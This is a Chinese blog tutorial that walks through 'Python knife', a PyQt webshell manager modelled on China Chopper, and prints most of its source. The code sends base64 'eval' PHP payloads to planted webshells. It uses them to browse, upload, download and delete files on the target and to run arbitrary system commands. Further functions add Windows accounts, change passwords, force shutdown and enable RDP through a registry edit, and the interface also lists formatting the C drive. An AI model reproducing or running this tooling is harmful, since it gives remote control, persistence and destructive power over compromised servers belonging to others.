Python knife 一款伪菜刀
Python knife
一款伪菜刀。
设计之初,本想只写个命令行的就可以了,但又想与众不同,想用python写代码,又不想用c#写前端(c#太卡了),万分无奈之下,找到一个替代品,Pyqt,所以我这个简易的菜刀就由此开始了。本程序实在python3下开发的。GUI界面用的Pyqt模块
既然想用pyqt做界面,第一步就是先装好pyqt,
Python knife介绍视频
https://pan.baidu.com/s/1skQdp5fIIS4BlqrWp2CbFw
0x01 PYQT的安装
1.安装好Python3的环境
添加环境变量,保证安装正确,
2.安装PyQt5
采用命令安装,Win+R,输入CMD,打开命令框,输入以下命令。后面是豆瓣的镜像地址,是为了加快下载速度。
pip install PyQt5 -i https://pypi.douban.com/simple
3.安装Qt的工具包
pip install PyQt5-tools -i https://pypi.douban.com/simple
4.测试PyQt5环境是否安装成功
复制以下代码到后缀为.py的文件中
import sys
from PyQt5 import QtWidgets,QtCore
app = QtWidgets.QApplication(sys.argv)
widget = QtWidgets.QWidget()
widget.resize(360,360)
widget.setWindowTitle("hello,pyqt5")
widget.show()
sys.exit(app.exec_())
能够运行即安装成功
0x02 GUI界面设计
下面是最初的设计功能:
Shell管理
连接shell
添加shell
编辑shell
删除shell
清空shell
文件管理
更新
上传
下载
重命名
删除文件
虚拟终端
基本未写,就写了一个命令执行
自写脚本
目前是一个最简单的文本编辑器
数据库管理
待写
快捷功能
查询用户
添加用户
修改密码
强制关机
格式化C盘
开启3389
中文检测
联系作者
退出程序
待添加
0x03 后端代码介绍
下面是我用到的一些PYQT的控件
Label标签控件
Pushbutton按钮控件
textEdit文本框控件
Listweight列表控件
treeWidget树形控件
tabWidget 控件
一.Shell管理
这里呢,我采用了GUI和代码分离的形式写的,pyqt生成的代码各自在自己的文件里,而我自己写的程序代码在一个类中。
1.创建右键菜单
初学QT,什么都不会,这个也是靠看一些博客才写出来的
def createContextMenu(self):
# 创建右键菜单
# 必须将ContextMenuPolicy设置为Qt.CustomContextMenu
# 否则无法使用customContextMenuRequested信号
self.Ui.listWidget.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.Ui.listWidget.customContextMenuRequested.connect(self.showContextMenu)
# 创建QMenu
self.contextMenu = QtWidgets.QMenu(self)
self.connect_shell_button = self.contextMenu.addAction(u'连接')
self.add_shell_button = self.contextMenu.addAction(u'添加')
self.modify_shell_button = self.contextMenu.addAction(u'编辑')
self.delete_shell_button = self.contextMenu.addAction(u'删除')
self.delete_all_shell_button = self.contextMenu.addAction(u'清空')
# 将动作与处理函数相关联,
# 将他们分别与不同函数关联,实现不同的功能
self.connect_shell_button.triggered.connect(self.Connect_shell)
self.add_shell_button.triggered.connect(self.Add_shell_show)
self.modify_shell_button.triggered.connect(self.Modify_shell)
self.delete_shell_button.triggered.connect(self.Delete_shell)
self.delete_all_shell_button.triggered.connect(self.Delete_all_shell)
将右键菜单移动到鼠标的位置
def showContextMenu(self, pos): #右键点击时调用的函数
# 菜单显示前,将它移动到鼠标点击的位置
self.contextMenu.move(QtGui.QCursor.pos())
self.contextMenu.show()
这便是右键菜单的函数,然后在初始化函数中点用这个函数就OK了
2.添加shell
添加shell这里要调用添加shell这个窗口,当我点击右键的添加时,打开添加shell窗口,当点击子窗口的确定时,将子窗口两个输入框中的内容组合起来添加到主窗口的shell管理列表中
涉及到两个窗口之间的窗体问题,这就让我非常懵逼了。。
还有listweight的添加等操作
点击添加显示添加shell窗口
def Add_shell_show(self):
self.WChild = Ui_Form()
self.dialog = QtWidgets.QDialog(self)
self.WChild.setupUi(self.dialog)
self.dialog.show()
self.WChild.pushButton.clicked.connect(self.GetLine) # 子窗体确定添加shell
获取内容返回给主窗口
def GetLine(self): # 添加shell给listweiget传值
url = self.WChild.lineEdit.text()
passwd = self.WChild.lineEdit_2.text()
if(url == "" or passwd ==""): #判断地址或者密码是不是空
box = QtWidgets.QMessageBox()
box.information(self, "提示", "地址或密码不能为空!")
else:
data =url+" "+passwd #得到添加shell的内容并组合
self.Ui.listWidget.addItem(data) #添加内容
self.dialog.close()
3.编辑shell
这个功能就是点击编辑shell调用添加shell窗口,同样的把列表中选中的值赋值给子窗口的输入框,然后用户修改,再把值赋值给主窗口原来的位置
点击编辑时
shell = self.Ui.listWidget.currentItem().text() #获取选中行的文本
self.Add_shell_show() #显示子窗口
shell = shell.split(" ") #分割数据
self.WChild.lineEdit.setText(shell[0]) #给子窗口赋值
self.WChild.lineEdit_2.setText(shell[1])
self.WChild.pushButton.setText("编辑")
#删除选中的行
except:
box = QtWidgets.QMessageBox()
box.warning(self, "提示", "请选择一项!")
这里因为时两个按钮调用同一个子窗口,所以我在窗口实现实时用了sender来判断是谁发出的信号
窗口显示函数如下
def Add_shell_show(self):
self.WChild = Ui_Form()
self.dialog = QtWidgets.QDialog(self)
self.WChild.setupUi(self.dialog)
self.dialog.show()
sender = self.sender()
if sender.text() == "添加":
self.WChild.pushButton.clicked.connect(self.GetLine) # 子窗体确定添加shell
elif sender.text() == "编辑":
self.WChild.pushButton.clicked.connect(self.editLine) # 子窗体确定编辑shell
当子窗口点击确定后调用editline函数修改原来的项
def editLine(self):
url = self.WChild.lineEdit.text() #获取子窗口的值
passwd = self.WChild.lineEdit_2.text()
data = url + " " + passwd
shell = self.Ui.listWidget.currentRow() #获取选择项的行号
self.Ui.listWidget.item(shell).setText(data) #给listwidget赋值
self.dialog.close() #关闭子窗口
4.删除shell
这个就比较简单了,直接删除listweight中的数据就可以了。当点击删除时,调用下面的函数删除
def Delete_shell(self):
button = QMessageBox.question(self, "警告!",
self.tr("你确定要删除选中的项吗?"),
QMessageBox.Ok | QMessageBox.Cancel,
QMessageBox.Ok)
if button == QMessageBox.Ok:
shell = self.Ui.listWidget.currentRow() # 获取选择项的行号
# shell = self.Ui.listWidget.currentItem().text() # 返回选择行的数据
shell2 = self.Ui.listWidget.currentItem().text()
self.Ui.listWidget.takeItem(shell) # 删除listwidget中的数据
else:
return
这里有个警告框,以免用户误操作
5.清空shell
上面的删除只是删除一条数据,而清空则时删除所有内容。
点击清空调用的函数
def Delete_all_shell(self):
button = QMessageBox.question(self, "警告!",
self.tr("你确定要清空所有内容吗?"),
QMessageBox.Ok | QMessageBox.Cancel,
QMessageBox.Ok)
if button == QMessageBox.Ok:
self.Ui.listWidget.clear()
os.remove("shell.txt") #删除shell.txt文件
else:
return
这里判断了给用户了一个提示框是否是清空所有内容,以防用户误删除。
同样也有提示框
6.最后呢。当然是讲一下最重要的连接了
当前用户点击连接时,会自动调用一个函数发送POST请求,测试shell是否可用。
def Connect_shell(self):
#shell = self.Ui.listWidget.currentRow() #获取选择项的行号
try:
shell = self.Ui.listWidget.currentItem().text()
# 返回选择行的数据
#shell2 = self.Ui.shelllabel.text() # 获取shell
#print(shell)
shell2 = shell.split(" ") #
#print(shell)
#print(shell2[1])
phpcode = "echo(hello);"
phpcode=base64.b64encode(phpcode.encode('GB2312'))
#print(phpcode)
data = { shell2[1] : '@eval(base64_decode($_POST[z0]));' ,
'z0': phpcode}
#print(data)
returndata =self.filedir(shell2,data)
#print(returndata)
if returndata != "":
#print(returndata)
box = QtWidgets.QMessageBox()
#self.statusBar().showMessage(shell ) # 状态栏显示信息
box.information(self, "提示", "连接成功!")
self.Ui.shelllabel.setText(shell)
self.File_update() #显示目录
self.Virtualshell()
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "连接失败!")
except:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "连接失败!")
POST请求函数
def filedir(self,shell,phpcode): #发送php请求
#请求头
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
#以表单的形式请求
}
#print(phpcode)
#print(shell[0])
#print(phpcode)
postData = urllib.parse.urlencode(phpcode).encode("utf-8","ignore")
req = urllib.request.Request(shell[0], postData, headers)
# 发起请求
response = urllib.request.urlopen(req)
#data = (response.read()).decode('utf-8')
return (response.read())
7.保存shell
至此呢,shell管理大致完成了,当然,还有最重要的一点,当用户退出软件再次打开软件时,怎么才能保持shell还在呢。这里呢,我就保存到一个txt文件中了,刚开始的时候我是每次添加,编辑,删除,都会重新写入文件。后来我又找到一种简单的方法,那就是重载关闭事件。在软件关闭时,将listweight中的数据保存到txt文件中
代码如下
def closeEvent(self, event):
num = self.Ui.listWidget.count() #获取listweight行数
#print(num)
f=open("shell.txt", "w",encoding='utf-8') # 打开文件
for i in range(0,num):
data=self.Ui.listWidget.item(i).text() #获取i行的数据
#print(data)
f.write(data + "\n") # 写入文件
f.close() #关闭文件
当每次打开文件时,加载txt文件,代码如下
def readshellfile(self): #读取shell文件
try:
with open("shell.txt", 'r',encoding='utf-8') as f:
# 打开文件
for each in f: # 遍历文件
each = each.replace('\n', '')
# 替换换行符为空格
if each !=" shell 地 址 密码":
self.Ui.listWidget.addItem(each)
# 添加到列表
f.close() # 关闭文件
except:
pass
这里呢。我加了个try防止出错误,因为如果文件不存在,就会报错,加上了try就不会了哈哈
二、文件管理
1.创建右键菜单
这里呢创建右键菜单
def fileContextMenu(self):
'''''
创建右键菜单
'''
# 必须将ContextMenuPolicy设置为Qt.CustomContextMenu
# 否则无法使用customContextMenuRequested信号
self.Ui.treeWidget_2.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
self.Ui.treeWidget_2.customContextMenuRequested.connect(self.showContextMenu)
# 创建QMenu
self.contextMenu = QtWidgets.QMenu(self)
self.file_update = self.contextMenu.addAction(u'更新')
self.file_upload = self.contextMenu.addAction(u'上传')
self.file_download = self.contextMenu.addAction(u'下载')
self.file_delete = self.contextMenu.addAction(u'删除')
self.file_rename =self.contextMenu.addAction(u'重命名')
#将动作与处理函数相关联
#这里为了简单,将所有action与同一个处理函数相关联,
#当然也可以将他们分别与不同函数关联,实现不同的功能
self.file_update.triggered.connect(self.File_update)
self.file_upload.triggered.connect(self.File_upload)
self.file_download.triggered.connect(self.File_download)
self.file_delete.triggered.connect(self.File_delete)
self.file_rename.triggered.connect(self.renameshow)
下面这个函数是吧右键菜单移动到鼠标的位置
def showContextMenu(self, pos): #右键点击时调用的函数
# 菜单显示前,将它移动到鼠标点击的位置
self.contextMenu.move(QtGui.QCursor.pos())
self.contextMenu.show()
这里遇到一个特别大的问题,两个右键菜单同时调用,两边会显示一模一样的菜单。
在这个位置,我耽误了好久
最后用的重写焦点响应事件来创建不同的右键菜单
函数如下
def eventFilter(self, widget, event): #重写焦点响应事件
if (widget != None):
#print(currentitem)
if (widget.inherits("QListWidget")): #创建添加shell菜单
self.createContextMenu()
elif (widget.inherits("QTreeWidget")):#创建文件菜单
self.fileContextMenu()
else:
pass
return False
功夫不负有心人,不同的右键菜单横空出世!
虽然,我这个方法有点笨,但是初学PYQT,实在不会其他的方法了,大神见谅。
然后在这里还有一问题没解决,就是右键菜单点一下不会消失,还得点一下才行。
2.更新
更新便是发送一个POST请求,列出目录到treeweight上,代码如下
def File_update(self):
shell = self.Ui.shelllabel.text()
if shell!="":
#列出目录
self.Ui.treeWidget.clear() #清空treeweight的所有内容
self.Ui.treeWidget_2.clear() #清空treeweight_2的所有内容
path=["C:","D:","E:"] #列出3个盘
#print(path)
for i in path: #循环列出c盘 D盘
data=self.listfile(i) #调用列出目录
data = data.decode('utf-8',"ignore")
#print(data)
if data =='ERROR:// Path Not Found Or No Permission!':
#判断3个盘是不是存在
pass
else: #若存在 列出目录
listdata = data.split(' ') # 分割data
root = QTreeWidgetItem(self.Ui.treeWidget) #创建对象
#self.tree = QTreeWidget()
root.setText(0,i) #创建主节点
listdata=listdata[:-1] #去掉空格
for i in listdata: #循环每一个元素
singerdata = i.split("\t") #用\t将名字大小权限修改时间分割
if singerdata[0][-1] == "/": #判断是不是有下级目录
singerdata[0]=singerdata[0][:-1] #创建c盘下的子节点
child1 = QTreeWidgetItem(root) #子节点位置
child1.setText(0, singerdata[0]) #子节点赋值
# else:
# child2 = QTreeWidgetItem(child1) # 创建子子节点
# child2.setText(0, singerdata[0]) # 赋值
#phpcode = "system('" + "dir" + "');"
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "请先连接shell!")
这里涉及到几个盘的问题,我是把他存到一个列表里,然后依次循环每一个盘来列出目录
函数如下
def listfile(self,path): #列出目录
shell = self.Ui.shelllabel.text() #获取shell
#print(shell)
shell = shell.split(" ")
phpcode = '$D="' + path + '";$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M = NULL;$L = NULL;while($N= @readdir($F)){$P =$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert( @fileperms($P), 10, 8), -4);$R = "\t".$T."\t". @filesize($P)."\t".$E." ";if(@ is_dir($P)){$M.=$N."/".$R;}else{$L.=$N.$R;}}echo($M.$L);@closedir($F);};die();'
#print(phpcode)
data = {shell[1]: phpcode}
#print(data)
return self.filedir(shell,data) #返回数据
3.双击右侧treeweight显示详细信息
这里就是利用双击获取选中的文件名,然后获取父节点的名组合成路径,发送一个请求。将返回的数据分隔开写入到treeweight_2中
def displayfile(self):
try:
index = self.Ui.treeWidget.currentItem() #当前的Item对象
#print(filepath) #输出当前项的绝对目录
data=self.listfile(self.showfilepath()) #调用函数显示数据
#print(data)
listdata = data.split(' ') #将文件分开
#print(listdata)
listdata = listdata[:-1] #去掉最后的空
#print(listdata)
self.Ui.treeWidget_2.clear() #清空treeweight_2中的所有数据
for i in listdata: # 循环每一个元素
singerdata = i.split("\t") # 用\t将名字大小权限修改时间分割
#print(singerdata[0])
if singerdata[0] !="./" and singerdata[0] != "../" and singerdata[0][-1]=="/" :
child2 = QTreeWidgetItem(index) # 创建子子节点
child2.setText(0, singerdata[0][:-1])
#将文件详细信息写入到listweight_2
if singerdata[0] != "./" and singerdata[0] != "../" and singerdata[0][-1]!="/": #文件显示出来,不显示文件夹!!!
if singerdata[0][-1]=="/": #去掉文件夹后面的斜杠
singerdata[0]=singerdata[0][:-1]
try:
singerdata[2] = self.Transformation(abs(int(singerdata[2]))) # 尝试单位转换
except:
pass
# print(singerdata)
root = QTreeWidgetItem(self.Ui.treeWidget_2) # 创建对象
#显示数据
root.setText(0, singerdata[0])
root.setText(1, singerdata[1])
root.setText(2, singerdata[3])
root.setText(3, singerdata[2])
except:
pass
在显示文件大小的时候有一个换算函数,将字节换算成KB、M或者、G
换算文件大小
def Transformation(self,size):
if (size < 1024):
return str(size) + " B"
elif 1024 < size < 1048576:
size = round(size / 1024, 2)
return str(size) + " KB"
elif 1048576 < size < 1073741824:
size = round(size / 1048576, 2)
return str(size) + " MB"
elif size > 107374824:
size = round(size / 1073741824, 2)
return str(size) + " GB"
else:
pas
4.上传文件
上传文件,我是创建了一个文件打开对话框用来读取文件名,
文件打开对话框函数如下
def fileopen(self):
fileName, selectedFilter = QFileDialog.getOpenFileName(self,(r"上传文件"),(r"C:\windows"),r"All files(*.*);;Text Files (*.txt);;PHP Files (*.php);;ASP Files (*.asp);;JSP Files (*.jsp);;ASPX Files (*.aspx)")
return (fileName) #返回文件路径
文件上传主函数
def File_upload(self):
# 尝试获取文件路径
shell = self.Ui.shelllabel.text() # 获取shell
if shell != "":
try:
fileName = self.fileopen() #调用文件打开对话框
#print(type(fileName))
#print(fileName)
try:
# 尝试打开文件读取数据
f = open(fileName,"rb")
fsize = os.path.getsize(fileName) #获取文件大小
filedata = f.read()
shell = shell.split(" ")
f.close()
#print(fsize)
#print(filedata)
#z2 = base64.b64encode(filedata)
newfileName=fileName.split("/")
#print(newfileName[-1])
path=self.showfilepath()+"\\\\"+newfileName[-1]
#print(path)
#shell = self.Ui.shelllabel.text() # 获取shell
z = r"@eval(base64_decode($_POST[z0]));" # 文件执行代码
z0 = base64.b64encode((str('$c=base64_decode($_POST["z2"]); echo(@fwrite(fopen("'+path+'","w"),$c));die();')).encode('utf-8'))
#z1 = base64.b64encode((str(path)).encode('utf-8')) # 文件路径加密
#print(filedata)
z2 = base64.b64encode(filedata) # 文件数据加密
#print(z0)
#print(z1)
#print(z2)
data = {shell[1]:z,"z0":z0,"z2":z2}
#print(data)
result =self.filedir(shell,data)
result = result.decode('utf-8',"ignore")
#print(type(result))
#print(result)#
if int(result)==fsize:
self.displayfile() #刷新显示
box = QtWidgets.QMessageBox()
box.information(self, "提示", "上传成功!\n上传路径: "+path)
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "上传失败!")
except:
f.close()
box = QtWidgets.QMessageBox()
box.warning(self, "提示", "文件太大。上传失败!")
#文件路径获取失败
except:
pass
else:
box = QtWidgets.QMessageBox()
# self.statusBar().showMessage(shell ) # 状态栏显示信息
box.information(self, "提示", "请先连接shell!")
然后呢,这里上传文件涉及到获取listweight的位置问题,所以了下面就是获取listweight上传位置的函数
#显示当前对象的路径
def showfilepath(self):
#filename = self.Ui.treeWidget.currentItem().text(0) #当前目录或文件名
index = self.Ui.treeWidget.currentItem() #当前的Item对象
try:
filepath = index.text(0)
index2=index.parent().text(0) #父节点
filepath = index2+'\\\\'+index.text(0) #组合
index3=index.parent().parent().text(0) #父父节点
filepath = index3 + '\\\\' + filepath #组合目录
index4=index.parent().parent().parent().text(0) #父父父节点
filepath = index4 +'\\\\' + filepath #组合目录
index5=index.parent().parent().parent().parent().text(0) #父父父父节点
filepath = index5 +'\\\\' + filepath #组合目录
index6 = index.parent().parent().parent().parent().parent().text(0) # 父父父父节点
filepath = index6 + '\\\\' + filepath # 组合目录
except:
pass
#print(filepath)
return filepath
这里调用的sendcode函数是用来给发送的数据base64加密的函数
def sendcode(self,phpcode):
shell = self.Ui.shelllabel.text() # 获取shell
if shell != "":
shell = shell.split(" ")
phpcode = base64.b64encode(phpcode.encode('GB2312'))
data = {shell[1]: '@eval(base64_decode($_POST[z0]));',
'z0': phpcode}
return self.filedir(shell, data)
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "请先连接shell!")
5.下载文件
下载文件亦是如此,需要获取当前的本地路径然后用php代码打开靶机的文件发送过来,然后打开保存文件对话框,写入文件。
主函数
def File_download(self):
shell = self.Ui.shelllabel.text() # 获取shell
if shell != "": #判断是否连接shell
try:
path =self.showfilepath() #获取文件的路径
filepath = self.Ui.treeWidget_2.currentItem().text(0) #获取文件名
compath = path+"\\\\"+filepath #组合路径
phpcode = '$F = "' + compath + '";$fp=@fopen($F,"rb") or die("Unable to open file!") ;echo @fread($fp,filesize($F));@fclose($fp);die();'
#print(filepath)
#print(compath)
#print(phpcode)
returndata = self.sendcode(phpcode) #尝试下载文件
#print(returndata)
#写入文件
#print(returndata)
if returndata != "" and returndata != "Unable to open file!":
savefilepath = self.filesave(filepath)
#print(filepath)
#print(savefilepath)
f = open(savefilepath, "wb") # 打开文件
f.write(returndata) # 写入文件
f.close() # 关闭文件
box = QtWidgets.QMessageBox()
box.information(self, "提示", "下载成功!")
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "下载失败!")
except:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "下载失败!")
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "请先连接shell!")
文件保存对话框
def filesave(self,filename):
fileName, filetype= QFileDialog.getSaveFileName(self, (r"保存文件"), (r'C:\Users\Administrator\\'+ filename), r"All files(*.*)")
#print(fileName)
return fileName
6.删除文件
文件删除就比较简单了,直接获取文件路径,发送一个cmd命令,同时删除掉treeweight中的节点就ok了
def File_delete(self):
shell = self.Ui.shelllabel.text() # 获取shell
if shell !="":
try:
path = self.showfilepath() # 获取文件的路径
filepath = self.Ui.treeWidget_2.currentItem().text(0) # 获取文件名
compath = path + "\\\\" + filepath # 组合路径
#print(compath)
hitgroup= self.Ui.treeWidget_2.currentIndex().row()
#删除文件
shell = shell.split(" ")
phpcode1 = "system('" + "del /S /Q "+compath + "');"
self.sendcode(phpcode1)
#删除目录
phpcode2 = "system('" + "rd /S /Q " + compath + "');"
self.sendcode(phpcode2)
self.Ui.treeWidget_2.takeTopLevelItem(hitgroup) #删除节点
box = QtWidgets.QMessageBox()
box.warning(self, "提示", "删除成功!")
except:
pass
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "请先连接shell!")
7.重命名
由于网络上关于pyqt的资料太少,能力有限,不会将选中的文件名变为可编辑模式,所以编写了一个窗口,让用户来重新输入用户名。
重命名对话框
def renameshow(self):
shell = self.Ui.shelllabel.text() # 获取shell
if shell != "":
self.rename = Ui_renameForm()
self.dialog = QtWidgets.QDialog(self)
self.rename.setupUi(self.dialog)
self.dialog.show()
self.rename.renameButton.clicked.connect(self.File_rename)
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "请先连接shell!")
对话框确定按钮
def File_rename(self):
#hitgroup = self.Ui.treeWidget_2.currentIndex().row()#获取要修改的行号
renamefile = self.rename.renameedit.text() #获取要修改的文件名
#print(renamefile)
parentpath= self.showfilepath() #获取路径
#print(parentpath)
index = self.Ui.treeWidget_2.currentItem() # 获取子窗口的对象
filename = index.text(0) # 获取文件名
path = parentpath+"\\\\"+filename #组合路径
#print(path)
phpcode = 'system("rename '+path+' '+renamefile+'");echo(ok);' #重命名
returndata= self.sendcode(phpcode) #发送数据
if returndata == "ok":
self.dialog.close() # 关闭子窗口
self.displayfile() #刷新显示
else:
box = QtWidgets.QMessageBox()
box.information(self, "重命名", "重命名失败!")
三.虚拟终端
这里的虚拟终端我写的比较简单,其实叫命令执行更合适。
#虚拟终端
def Virtualshell(self):
self.Ui.textEdit.setReadOnly(True) #设置textRdit不可编辑
self.Ui.textEdit.setText(r"C:\Users\admin> ")
虚拟终端执行按钮
def shellcommand(self):
self.Ui.textEdit.clear()
shellcommand = self.Ui.lineEdit.text()
#print(shellcommand)
#print(shell)
phpcode = "system('" + shellcommand + "');"
#print(phpcode)
returncommand = self.sendcode(phpcode)
#print(type(returncommand))
#print(returncommand)
self.Ui.textEdit.setText(returncommand)
虚拟终端清空按钮
def clearVirtual(self):
self.Ui.lineEdit.clear()
self.Ui.textEdit.clear()
四.自写脚本
自写脚本就是一个就简单的文件编辑器。可以用来保存和清空
保存脚本代码
def SaveJiaoben(self):
data = self.Ui.textEdit_3.toPlainText() #获取textEdit_3的内容
if data != "":
try:
path = self.filesave("jiaoben.txt")
f= open(path,"w",encoding='utf-8')
f.write(data)
f.close()
except:
pass
else:
box = QtWidgets.QMessageBox()
box.warning (self, "警告", "您未输入任何字符!")
脚本清空按钮
def ClearJiaoben(self):
self.Ui.textEdit_3.clear()
五.数据库管理
暂无,以后添加
六.快捷功能、
1.查询用户
def User(self):
user = ""
phpcode = 'system("net user");'
#print(phpcode)
data = self.sendcode(phpcode)
#print(data)
#print(data[113:-20])
if data !=None:
data=data[113:-20].replace('\r\n', '').split(" ")
#print(data)
for i in data:
if i !="":
user += "用户:"+i+"\n"
#print(user)
box = QtWidgets.QMessageBox()
box.about (self, "查询用户", user[:-1])
else:
pass
这里的代码都比较简单,就是执行一条命令获取所有用户,然后提取出想要的内容弹出窗口展示给用户
2.添加用户
def Adduser(self):
shell = self.Ui.shelllabel.text() # 获取shell
username = self.adduser.userEdit.text() #获取添加用户对话框用户名
#print(username)
password = self.adduser.passwordEdit.text() #获取添加用户对话框密码
phpcode = 'system("net user '+username+" "+password+" "+'/add");' #组合命令
#print(phpcode)
returndata = self.sendcode(phpcode) #发送命令
if returndata !="":
self.dialog.close()
box = QtWidgets.QMessageBox()
box.information(self, "提示", "添加成功!")
else:
self.dialog.close()
box = QtWidgets.QMessageBox()
box.information(self, "提示", "添加失败!")
#print(username)
#print(password)
#print(returndata)
#print(data)
添加用户,同样是调用了一个子窗口,提示用户输入要添加的用户名和密码,再把用户名和密码和cmd命令组合起来发送给靶机执行
3.修改密码
#修改密码按钮调用的函数
def Changepasswd(self):
username = self.changepasswd.changeuserEdit.text() #获取修改密码窗口的用户名
passwd = self.changepasswd.changepasswordEdit.text() #获取修改密码窗口的密码
#print(username)
#print(passwd)
phpcode = 'system("net user ' + username + " " + passwd +'" );' # 组合命令
#print(phpcode)
returndata = self.sendcode(phpcode) # 发送命令
#print(returndata)
if returndata !="":
self.dialog.close()
box = QtWidgets.QMessageBox()
box.information(self, "提示", "修改成功!")
else:
self.dialog.close()
box = QtWidgets.QMessageBox()
box.information(self, "提示", "没有此用户或没有权限,修改失败!")
同样是调用了一个子窗口,提示用户输入要修改的用户名和密码,再把用户名和密码和cmd命令组合起来发送给靶机进行修改密码
4.强制关机
def Shutdown(self):
shell = self.Ui.shelllabel.text() # 获取shell
if shell != "":
button = QMessageBox.question(self, "警告!",
self.tr("你确定要强制关机吗?"),
QMessageBox.Ok | QMessageBox.Cancel,
QMessageBox.Ok)
if button == QMessageBox.Ok:
shell = self.Ui.shelllabel.text() # 获取shell
phpcode = 'system("shutdown -p");echo(ok);'
data = self.sendcode(phpcode)
if data!=None:
if data == "ok":
box = QtWidgets.QMessageBox()
box.information(self, "提示", "强制关机成功!")
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "强制关机失败!")
else:
pass
#print(data)
else:
return
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "请先连接shell!")
这里呢。调用了一个询问框,以免用户误操作
5.开启3389
#开启3389按钮
def Open3389(self):
phpcode ='system("REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f");'
result = self.sendcode(phpcode)
if result !=None:
data = self.sendcode('system("netstat -ano |findstr 0.0.0.0:3389");')
if data !=None:
if data!="":
box = QtWidgets.QMessageBox()
box.information(self, "提示", "开启成功!")
else:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "抱歉,您没有权限!")
else:
return
else:
return
同样是cmd命令执行
6.中文检测
这个就比较高大上了,这个是调用的我以前的程序。用tkinter模块写的。这个是我以前写的,随便加进来的
#中文检测
def Chinese(self):
try:
os.system("python 中文符号检测工具.py")
except:
box = QtWidgets.QMessageBox()
box.information(self, "提示", "模块不存在!")
7.检查更新
def Update(self):
box = QtWidgets.QMessageBox()
box.about (self, "检查更新", "\n当前版本:V 1.0\n最新版本:V 1.0 ")
#这东西更不更新没有任何意义,hhh
8.联系作者
当点击联系作者的时候会自己打开主页的主页哦
#联系作者
def Loveme(self):
webbrowser.open("https://blog.csdn.net/qq_36374896")
box = QtWidgets.QMessageBox()
box.information (self, "联系作者", "作者邮箱:qianxiao996@126.com\n作者主页:https://blog.csdn.net/qq_36374896")
这里呢还有个图标问题
一行代码搞定
self.setWindowIcon(QtGui.QIcon('./img/main.png'))
0x04总结
完整代码在附件。菜刀文件写了800行代码,中文检测50多行代码,再加上各个ui生成的代码大约400多行,总共大约1300行代码吧,历时十几天,中间遇到许多问题,靠自己百度突破,收获很大,很有成就感。学习路还长,加油。
到这里想写的功能都写完了,其他代码在附件中!
0x05参考文章
网络上的教程大部分都是c++QT的pyqt的真的少。。。。
Pyqt Python GUI 入门教程
https://max.book118.com/html/2018/0805/8004075040001117.shtm
州的先生系列教程
https://zmister.com/archives/category/guidevelop/pyqt5_basic
吴秦(Tyler)
https://www.cnblogs.com/skynet/p/4229556.html
资料汇总
http://www.cnblogs.com/txw1958/archive/2011/12/18/2291928.html
0x06附件
初始化函数
self.Ui.listWidget.installEventFilter(self) #初始化QListView控件焦点事件
self.Ui.treeWidget_2.installEventFilter(self) #初始化treeWidget_2控件焦点事件
self.readshellfile() #加载文件到listweight
self.Ui.treeWidget.doubleClicked.connect(self.displayfile) #teeweight双击
self.Ui.zhixing.clicked.connect(self.shellcommand) #虚拟终端执行按钮
self.Ui.clearbutton.clicked.connect(self.clearVirtual) #虚拟终端清空按钮
self.Ui.savejiaoben.clicked.connect(self.SaveJiaoben) #保存脚本
self.Ui.clearjiaoben.clicked.connect(self.ClearJiaoben) #清空脚本
self.Ui.user.clicked.connect(self.User) #查询用户
self.Ui.adduser.clicked.connect(self.useraddshow)#添加用户按钮
self.Ui.passwd.clicked.connect(self.changepasswdshow) # 修改密码
self.Ui.shutdown.clicked.connect(self.Shutdown) #强制关机
self.Ui.format.clicked.connect(self.Format) #格式化C盘
self.Ui.open3389.clicked.connect(self.Open3389) # 开启3389
self.Ui.chinese.clicked.connect(self.Chinese) #中文检测
self.Ui.update.clicked.connect(self.Update) #检查更新
self.Ui.loveme.clicked.connect(self.Loveme) #联系作者
POST请求函数
postData = urllib.parse.urlencode(phpcode).encode("utf-8","ignore")
req = urllib.request.Request(shell[0], postData, headers)
# 发起请求
response = urllib.request.urlopen(req)
#data = (response.read()).decode('utf-8')
return (response.read())
还有一个动态显示时间的函数
def showtime(self): #显示时间
datetime = QDateTime.currentDateTime()
text = datetime.toString("yyyy-MM-dd hh:mm:ss")
self.Ui.timelabel.setText(text)
Pyqt的源文件我也放在里面了,你们可以尽情修改。注释的话,我感觉已经特别详细了。不多解释了,自己看吧。
qianxiao996 ----- 一名什么也不精通的白帽子。
博客地址:https://me.csdn.net/qq_36374896
github地址:https://github.com/qianxiao996/Python3/tree/master/python脚本/Python knife
Python knife 一款伪菜刀的更多相关文章
- 用Python写一款属于自己的 简易zip压缩软件 附完成图(适合初学者)
一.软件描述 用Python tkinter模块写一款属于自己的压缩软件.zip文件格式是通用的文档压缩标准,在ziplib模块中,使用ZipFile来操作zip文件,具有功能:zip压缩功能,zip ...
- [python] bluepy 一款python封装的BLE利器
1.bluepy 简介 bluepy 是github上一个很好的蓝牙开源项目,其地址在 LINK-1, 其主要功能是用python实现linux上BLE的接口. This is a project t ...
- 用Python分析2000款避孕套,得出这些有趣的结论
到现在为止,我们的淘宝教程已经写到了第四篇,前三篇分别是: 第一篇:Python模拟登录淘宝,详细讲解如何使用requests库登录淘宝pc端. 第二篇:淘宝自动登录2.0,新增Cookies序列化, ...
- 新手教程丨利用Python制作一款截图识别软件!
